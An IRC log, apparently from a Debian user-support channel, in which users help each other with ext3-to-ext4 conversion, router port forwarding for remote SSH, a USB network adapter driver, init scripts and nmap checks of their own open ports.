| 23:24.24 | btnz | CutMeOwnThroat, Titan8990, so if i want to test the whole scenario in advance the setup i suggested earlier would be a possibility? |
| 23:24.50 | crzedmonk | wierd |
| 23:24.50 | jelly-home | crzedmonk: which architecture are you using? |
| 23:24.52 | crzedmonk | shockwave is not there |
| 23:25.00 | crzedmonk | lenny |
| 23:25.07 | themill | who'd have thought.... |
| 23:25.11 | btnz | CutMeOwnThroat, Titan8990, like putting up a trial server in a VE and trying to do the ssh part with the wan ip i mean |
| 23:25.15 | jelly-home | crzedmonk: dpkg --print-architecture |
| 23:25.19 | Titan8990 | themill, that lenny is an arch now? |
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| 23:25.27 | daedhel | abrotman, oh yeah ? thanks for helping me out, I was about to throw it out the window. So i would just have to load the dm9601 driver ? |
| 23:25.40 | jelly-home | bets on amd64 |
| 23:25.53 | crzedmonk | hunh |
| 23:25.54 | Titan8990 | btnz, yes, as long as you forward the ports on the router |
| 23:25.58 | crzedmonk | oh it is i86 |
| 23:25.59 | EagleScreen | how can I conver my root partition from ext3 to ext4 without format? |
| 23:26.11 | markybob | EagleScreen, you google it |
| 23:26.13 | abrotman | daedhel: which kernel is it ? |
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| 23:26.36 | daedhel | abrotman, 2.6.26-2-686 |
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| 23:26.43 | budo | crzedmonk: type 'cat /proc/cpuinfo' |
| 23:26.45 | abrotman | daedhel: do you have any internet at all on the machine ? |
| 23:26.54 | btnz | CutMeOwnThroat, Titan8990 how can i actually find out about that? right now i'm using an internet connection where i dont have access to the router |
| 23:27.09 | jelly-home | EagleScreen: to reap most of the benefits of ext4, it's better to reformat |
| 23:27.20 | daedhel | abrotman, yes the onboard ethenet device works |
| 23:27.21 | Titan8990 | btnz, are you not inside of the lan the server is on? |
| 23:27.28 | Titan8990 | btnz, how are you going to deploy the server |
| 23:27.42 | EagleScreen | but, jelly-home, if I format, I loose my Debian installation |
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| 23:27.50 | jelly-home | EagleScreen: backup, format, restore |
| 23:28.05 | abrotman | daedhel: you're running lenny? |
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| 23:28.17 | daedhel | abrotman, yeah |
| 23:28.26 | EagleScreen | jelly-home: how would you do that kind of backup |
| 23:28.29 | daedhel | abrotman, also found this : http://ubuntuforums.org/showthread.php?t=483189 |
| 23:28.36 | crzedmonk | processor: 0 |
| 23:28.37 | crzedmonk | vendor_id: GenuineIntel |
| 23:28.37 | crzedmonk | cpu family: 15 |
| 23:28.37 | crzedmonk | model: 2 |
| 23:28.37 | crzedmonk | model name: Intel(R) Pentium(R) 4 CPU 2.80GHz |
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| 23:28.49 | btnz | Titan8990 right now i am not, i'm in france and there server is going to be in germany |
| 23:28.51 | crzedmonk | damn floodbot |
| 23:28.52 | crzedmonk | lol |
| 23:28.53 | crzedmonk | sorry |
| 23:28.54 | themill | dpkg: tell crzedmonk about paste |
| 23:28.57 | EagleScreen | jelly-home: can I do a simple mv command to other disk? |
| 23:28.57 | Titan8990 | btnz, how are you going to deploy the server? |
| 23:29.15 | jelly-home | EagleScreen: don't do mv, use cp instead |
| 23:29.17 | nsadmin | crzedmonk: actually the flood is at fault, not the floodbot :P |
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| 23:29.20 | abrotman | crzedmonk: maybe you shoujld stop pasting here .. jeez |
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| 23:29.33 | abrotman | daedhel: there is a .30 backported at backports.org |
| 23:29.36 | EagleScreen | jelly-home: I heared that mv conserve permissions |
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| 23:29.58 | btnz | Titan8990 next weekend i'll go home for a family member's wedding and stay for 2 or 3 days and amongst some other things i'd like to prepare things so far that i can do further works from back in france |
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| 23:30.09 | jelly-home | EagleScreen: do you want to ruin your current system before confirming the new one works? |
| 23:30.13 | daedhel | abrotman, you mean that the .30 kernel would load the device automatically ? |
| 23:30.16 | tommyd3mdi | Hi folks - I'm on a fresh Lenny install and wonder why I can't make outgoing tcp connections (f.e. http) - any idea? |
| 23:30.21 | crzedmonk | http://paste.debian.net/?show=44459;lines=0 |
| 23:30.24 | jelly-home | EagleScreen: use cp, and rtfm on how to preserve permissions |
| 23:30.25 | Titan8990 | btnz, then, yeah... forward the ports while you are down there |
| 23:30.26 | abrotman | daedhel: i'm not sure .. i'm trying to find out |
| 23:30.36 | crzedmonk | or maybe this channel should let you paste outputs of what you are being asked to do |
| 23:30.39 | crzedmonk | :P |
| 23:30.40 | crzedmonk | this will work |
| 23:30.43 | Titan8990 | btnz, get anyone you know to test it for you remotely while you are still down there |
| 23:30.47 | jelly-home | EagleScreen: basically, cp -a does most of the work |
| 23:30.50 | abrotman | themill: does judd do usbids ? |
| 23:30.51 | Titan8990 | btnz, so you can make adjustments as needed |
| 23:30.52 | tommyd3mdi | ping tells me "sendmsg: operation not permitted" |
| 23:30.52 | btnz | Titan8990 so it's quite crucial that the initial setup gets me at least to the point that i can work on it from here |
| 23:30.54 | daedhel | abrotman, trying it |
| 23:31.12 | Titan8990 | btnz, right, you need ssh access to the box and telnet/ssh access to the router |
| 23:31.16 | jelly-home | EagleScreen: you'll probably want to add at least -x to the mix |
| 23:31.33 | themill | abrotman: no... usb device matching uses device classes too. ETOOCOMPLICATED. |
| 23:31.36 | HellMind | how can I change the $HOME var if im chrooting from start-stop-daemon :( |
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| 23:32.09 | btnz | Titan8990 okay, but by the time i opened at least one port on the router for ssh and set the server to use that port for ssh i'm basically on the safe side? |
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| 23:32.16 | Titan8990 | HellMind, export HOME=foobar |
| 23:32.25 | EagleScreen | jelly-home: must I cp to other ext3 and later to the new ext4? |
| 23:32.27 | abrotman | wonders if modules.alias references usb devices |
| 23:32.29 | HellMind | but where I should put that :( on start-stop-daemon |
| 23:32.38 | jelly-home | blinks |
| 23:32.54 | jelly-home | EagleScreen: what? |
| 23:33.21 | themill | abrotman: it does, but many devices get matched solely on device class and not on VID:DID |
| 23:33.23 | Titan8990 | btnz, well, you don't open it, its not a firewall, you forward it and you will need to ensure gets to the correct location |
| 23:33.27 | nsadmin | EagleScreen: you mean in order to back up and then restore... that would be one way |
| 23:33.31 | nsadmin | tar would be another |
| 23:33.33 | EagleScreen | cpy from ext3 to ext3 and from ext3 to ext4 |
| 23:33.40 | btnz | Titan8990, maybe i should just forward another 2 or 3 port on the router to make it possible to run other services, the configuration of the server to use those ports could be done by ssh, right? |
| 23:33.47 | Titan8990 | btnz, port fording isn't difficult, as long as you have a static ip, you shouldn't have any problem figuring it out |
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| 23:34.04 | Titan8990 | btnz, yes |
| 23:34.25 | abrotman | themill: grr |
| 23:34.32 | jelly-home | EagleScreen: or you could just use the other disk from this point on and save yourself one copying time |
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| 23:34.38 | Titan8990 | btnz, everything you can do locally on the box, you can do via ssh |
| 23:34.42 | themill | abrotman: it probably works some of the time.... tias :) |
| 23:34.57 | btnz | Titan8990, okay, that's already a lot of useful information, thanks... |
| 23:35.00 | crzedmonk | wow |
| 23:35.03 | crzedmonk | I am stupid |
| 23:35.06 | crzedmonk | fixed it |
| 23:35.10 | crzedmonk | sorry guys |
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| 23:35.20 | jelly-home | EagleScreen: and fix everything that needs fixing after a systems partitions and disks are moved around |
| 23:35.23 | themill | abrotman: if it proves to be useful, then I'll add it to the todo list :) |
| 23:35.30 | btnz | Titan8990, so i could also set the port forwarding remotely? |
| 23:35.35 | daedhel | abrotman, shall I install this : linux-image-2.6.30-bpo.1-686 |
| 23:35.36 | abrotman | themill: the usbid he gave .. failed |
| 23:35.37 | abrotman | oh wait! |
| 23:36.05 | jelly-home | EagleScreen: (ie. fstab entries, boot loader, possibly other stuff that I can't remember right now) |
| 23:36.05 | nsadmin | crzedmonk: within the fixing of it was you learning what you needed. think about whether that was worth your time |
| 23:36.12 | abrotman | daedhel: 0fe6:8101 .. right ? |
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| 23:36.23 | daedhel | abrotman, wait a sec |
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| 23:36.52 | daedhel | abrotman, idVendor=0fe6, idProduct=8101 |
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| 23:37.00 | EagleScreen | thanks jelly-home |
| 23:37.03 | crzedmonk | nsadmin: I know your right that is the reason I switched to debian for less hand holding then ubuntu, I only got angry cause it took my dumb self so long |
| 23:37.13 | abrotman | daedhel: the .30 i have here claims to know what that device is |
| 23:37.32 | nsadmin | crzedmonk: -believe- me when I say... there's more of that coming |
| 23:37.35 | daedhel | abrotman, trying |
| 23:37.41 | crzedmonk | nsadmin: I know |
| 23:37.43 | crzedmonk | :P |
| 23:37.45 | crzedmonk | woah |
| 23:37.49 | crzedmonk | where did my sound go |
| 23:37.50 | crzedmonk | hahaha |
| 23:37.56 | crzedmonk | I did not even notice it |
| 23:38.00 | abrotman | !tell crzedmonk about enter |
| 23:38.01 | nsadmin | and it's NOT a matter of you being stupid either :P |
| 23:38.18 | daedhel | abrotman, brb 15 min |
| 23:38.41 | crzedmonk | I really enjoy lenny though |
| 23:38.45 | btnz | Titan8990 so for testing the server setup, how can i find out what ports are open on a router i'm behind? |
| 23:39.02 | crzedmonk | I really need to just learn how to be more profiecent in terminal and to spell |
| 23:39.12 | crzedmonk | brb reboot |
| 23:39.17 | nsadmin | crzedmonk: gtypist :) |
| 23:39.36 | btnz | and please someone tell me: |
| 23:39.40 | btnz | what virtualization solution is suitable for running a debian guest webserver on a debian host? |
| 23:39.45 | Titan8990 | btnz, scan it remotely |
| 23:39.46 | nsadmin | (be sure to warm up before you practice, or sacrifice your wrists) |
| 23:40.08 | Titan8990 | btnz, nmap -sS -PN -A -T5 <ip address> |
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| 23:40.38 | Titan8990 | btnz, or more easily, the specific port |
| 23:40.53 | Titan8990 | btnz, nmap -sS -PN -p<port #> <ip address> |
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| 23:41.19 | nsadmin | btnz: you really want to use virtualization for that? :) |
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| 23:41.59 | Titan8990 | btnz, and yeah... that is kinda pointless |
| 23:42.23 | Titan8990 | btnz, just run the webserver on the debian host |
| 23:43.10 | btnz | nsadmin, Titan8990, why? i thought that it'd protect me from getting into trouble if i do something stupid on the host system that would make it impossible to reestablish the connection or sth like that? |
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| 23:44.01 | Titan8990 | btnz, only if you put the visualized server on its own vlan... but then you might as well just put the host on a vlan by itself |
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| 23:44.24 | crzedmonk | ok |
| 23:44.25 | btnz | nsadmin, Titan8990, and as long as i'm not doing fancy stuff the VE is just going to get assigned another lan ip and i have to set one of its ports to be forwarded, or did i miss sth? |
| 23:44.29 | crzedmonk | time to ask another one. |
| 23:44.44 | Titan8990 | btnz, oh, you want ssh into host -> ssh in to vm |
| 23:44.49 | Titan8990 | btnz, make night blackups |
| 23:45.01 | crzedmonk | I rebooted and lost sound, I used to have sound but now I have rebooted twice and no sound where do I start checking? |
| 23:45.04 | raboof | are debian BTS usertags documented anywhere other than in the original announcement in 2005? |
| 23:45.11 | Titan8990 | btnz, don't do anything to completely bone the server.... |
| 23:46.01 | Titan8990 | btnz, you know, you can buy a virtual private server for $10 a month that gives you quick and easy OS installs remotely |
| 23:46.19 | btnz | Titan8990, it just appeared to be a relatively simple way to make things more save, but looks like i underestimated that part |
| 23:46.26 | Titan8990 | btnz, if your just looking for something to play with |
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| 23:46.53 | daedhel | abrotman, back |
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| 23:47.06 | daedhel | abrotman, installed the kernel, booting it now |
| 23:47.19 | abrotman | ok |
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| 23:47.30 | HellMind | where should I store a pid file? |
| 23:47.34 | budo | question: when you download programs from src the debian package manager automatically compiles it ? |
| 23:47.46 | Titan8990 | HellMind, are you making an init script? |
| 23:48.13 | abrotman | budo: oyu mean like 'apt-get source foo' ? |
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| 23:48.15 | daedhel | abrotman, http://pastie.org/586553 |
| 23:48.43 | abrotman | daedhel: eth1 ? |
| 23:48.43 | HellMind | Titan8990 yes |
| 23:48.51 | budo | deb-src http://http.us.debian.org/debian stable main contrib non-free << |
| 23:48.57 | daedhel | abrotman, yeah, i have eth0 |
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| 23:49.10 | abrotman | daedhel: you typed eht1 .. not eth1 |
| 23:49.12 | daedhel | abrotman, oups |
| 23:49.12 | Titan8990 | HellMind, just use /etc/init.d/skel to make it |
| 23:49.24 | HellMind | var/run |
| 23:49.27 | deco_ | can anyone give me a mirror that's close to california to download debian testing ? |
| 23:49.30 | HellMind | skel :S |
| 23:49.35 | budo | abrotman: you have to indicate it on the command-like that to get it to download from deb-src ? |
| 23:49.43 | abrotman | just like i did |
| 23:49.46 | HellMind | !someguy tellabout skel |
| 23:49.47 | budo | or does apt-get do it by itself |
| 23:49.49 | daedhel | abrotman, |
| 23:49.50 | daedhel | serveur-bas:~# ifup eth1 |
| 23:49.50 | daedhel | Ignoring unknown interface eth1=eth1. |
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| 23:51.40 | budo | so, what are the multiple links for in the source file for? in case, one mirror goes down? and does apt-get choose them in order ? |
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| 23:52.19 | HellMind | Titan8990 why skel, is nicer? |
| 23:52.49 | Titan8990 | HellMind, already ready, just drop your stuff inside of the wrapper |
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| 23:53.17 | Titan8990 | HellMind, unless you are teaching yourself bash scripting or something |
| 23:53.54 | HellMind | I doing it better -_- |
| 23:54.40 | abrotman | daedhel: dmesg | grep eth |
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| 23:55.33 | daedhel | abrotman, it is detected and attributed eth1 |
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| 23:55.51 | daedhel | abrotman, i'm testing it with dhcp rith now |
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| 23:57.10 | nsadmin | what's the most common way to make sure a particular nic keeps its same ethX name? |
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| 23:57.58 | straw | nsadmin: creating the right udev rule |
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| 23:59.05 | nsadmin | and typically that would mean having the rule match on mac addr? |
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